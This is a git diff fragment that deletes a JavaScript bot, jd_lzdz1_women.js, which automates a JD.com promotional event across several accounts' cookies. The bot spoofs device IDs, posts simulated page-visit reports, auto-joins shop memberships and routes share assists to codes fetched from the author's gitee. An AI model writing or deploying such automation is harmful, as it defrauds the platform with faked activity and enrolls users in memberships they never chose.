&& (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_lzdz1_women.js b/backUp/jd_lzdz1_women.js deleted file mode 100644 index a775c89..0000000 --- a/backUp/jd_lzdz1_women.js +++ /dev/null @@ -1,598 +0,0 @@ -/* -品质女装 年终狂欢 - -https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity?activityId=dzkbblntbt20211101A&shareUuid=0f38ece139354e3e9b849034d3c6b6fd - -默认执行脚本。如果需要不执行 -环境变量 NO_RUSH=false -*/ -const $ = new Env("品质女装 年终狂欢"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = ''; -let ownCode = null; -let isRush = true; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -if (process.env.NO_RUSH && process.env.NO_RUSH != "") { - isRush = process.env.NO_RUSH; -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - - authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/lzdz1_women.json') - if(authorCodeList === '404: Not Found'){ - authorCodeList = [ - '0f38ece139354e3e9b849034d3c6b6fd', - ] - } - - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - // $.authorCode = authorCodeList[random(0, authorCodeList.length)] - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}` - $.randomCode = random(1000000, 9999999) - $.activityId = 'dzkbblntbt20211101A' - $.activityShopId = '1000007653' - $.activityUrl = `https://lzdz1-isv.isvjd.com/dingzhi/dz/openCard/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` - if (isRush === true) { - console.log("未检测到不执行环境变量,执行任务") - await rush(); - } else { - console.log("检测到不执行环境变量,退出任务,环境变量 NO_RUSH") - break - } - await $.wait(3000) - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function rush() { - $.token = null; - $.secretPin = null; - $.openCardActivityId = null - await getFirstLZCK() - await getToken(); - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log("去助力 -> "+$.authorCode) - await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); - await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) - if ($.index === 1) { - await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) - } else { - await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) - } - await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) - $.log("->关注店铺") - if ($.shopTask) { - if (!$.shopTask.allStatus) { - await task('dz/openCard/followShop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${encodeURIComponent($.actorUuid)}&taskType=23&taskValue=1000002520`) - } else { - $.log(" >>>已经关注过了\n") - await $.wait(2000) - return - } - } else { - $.log("没有获取到对应的任务。\n") - } - $.log("->->->> 加入店铺会员") - if ($.openCardStatus) { - for (let i = 0; i < ($.openCardStatus.cardList1.length + $.openCardStatus.cardList2.length); i++) { - $.log("模拟上报访问记录") - await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000004065&pageId=dz20211013skcnurdk11jhdue84752hp&elementId=${encodeURIComponent(`去开卡${i}`)}&pin=${encodeURIComponent($.secretPin)}`, 1) - await $.wait(2000) - } - t1TaskList = [] - $.openCardStatus.cardList1.filter((x) => { if (x.status === 0) { t1TaskList.push(x) } }) - t2TaskList = [] - $.openCardStatus.cardList2.filter((x) => { if (x.status === 0) { t2TaskList.push(x) } }) - if (t1TaskList.length < 1) { - console.log(" >>>已经完成入会任务") - - } else { - for (const vo of t1TaskList) { - $.log(` >>>去加入${vo.name}`) - await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }, vo.value) - await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) - await $.wait(2000) - } - for (const vo of t2TaskList) { - $.log(` >>>${vo.name}`) - await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }) - await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) - await $.wait(2000) - } - } - - await task("taskact/openCardcommon/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=1&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=2&pin=${encodeURIComponent($.secretPin)}`) - - } else { - $.log("没有获取到对应的任务。\n") - } - $.log("->->->> 加购物车") - await task("dz/openCard/saveTask", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${$.actorUuid}&type=2&taskValue=100025232454`) - } - } -} - -function task(function_id, body, isCommon = 0, own = 0) { - return new Promise(resolve => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case 'wxActionCommon/getUserInfo': - break; - case 'dz/openCard/activityContent': - if (!data.data.hasEnd) { - $.log(`开启【${data.data.activityName}】活动`) - $.log("-------------------") - if ($.index === 1) { - ownCode = data.data.actorUuid - console.log(ownCode) - } - $.actorUuid = data.data.actorUuid; - $.skuTask = data.data.addSku; - $.shopTask = data.data.followShop; - } else { - $.log("活动已经结束"); - } - break; - case 'dz/openCard/checkOpenCard': - $.openCardStatus = data.data; - break; - case 'dz/openCard/saveTask': - console.log(data.data.addBeanNum) - break; - case 'dz/openCard/saveTask': - if (data.data) { - if (data.data.addBeanNum) { - $.bean += data.data.addBeanNum; - $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) - } - } - break; - case 'dz/openCard/startDraw': - if (data.data.drawOk) { - switch (data.data.drawInfo.type) { - case 6: - $.bean += data.data.drawInfo.beanNum; - $.log(`==>获得【${data.data.drawInfo.beanNum}】京豆\n`) - break; - default: - if ($.isNode()) { - await notify.sendNotify("中奖了", `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) - } else { - $.msg("中奖了", `获得${data.data.drawInfo.name}`, `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) - } - break; - } - } - break; - case 'crm/pageVisit/insertCrmPageVisit': - $.log("==> 上报成功") - - case 'dz/openCard/followShop': - if (data.data) { - if (data.data.addBeanNum) { - $.bean += data.data.addBeanNum; - $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) - } - } - break; - - break; - default: - $.log(JSON.stringify(data)) - break; - } - } else { - $.log(JSON.stringify(data)) - } - } else { - // $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.giftInfo && res.result.giftInfo.giftList) { - for (const vo of res.result.giftInfo.giftList) { - if (vo.prizeType === 4) { - $.log(`==>获得【${vo.quantity}】京豆`) - $.bean += vo.quantity - } - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzdz1-isv.isvjd.com/${function_id}` : `https://lzdz1-isv.isvjd.com/dingzhi/${function_id}`, - headers: { - Host: 'lzdz1-isv.isvjd.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjd.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie - }, - body: body - - } -} -function getAuthorCodeList(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - $.logErr(e, resp) - data = null; - } finally { - resolve(data); - } - }) - }) -} -function getMyPing() { - let opt = { - url: `https://lzdz1-isv.isvjd.com/customer/getMyPing`, - headers: { - Host: 'lzdz1-isv.isvjd.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjd.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } else { - // $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = 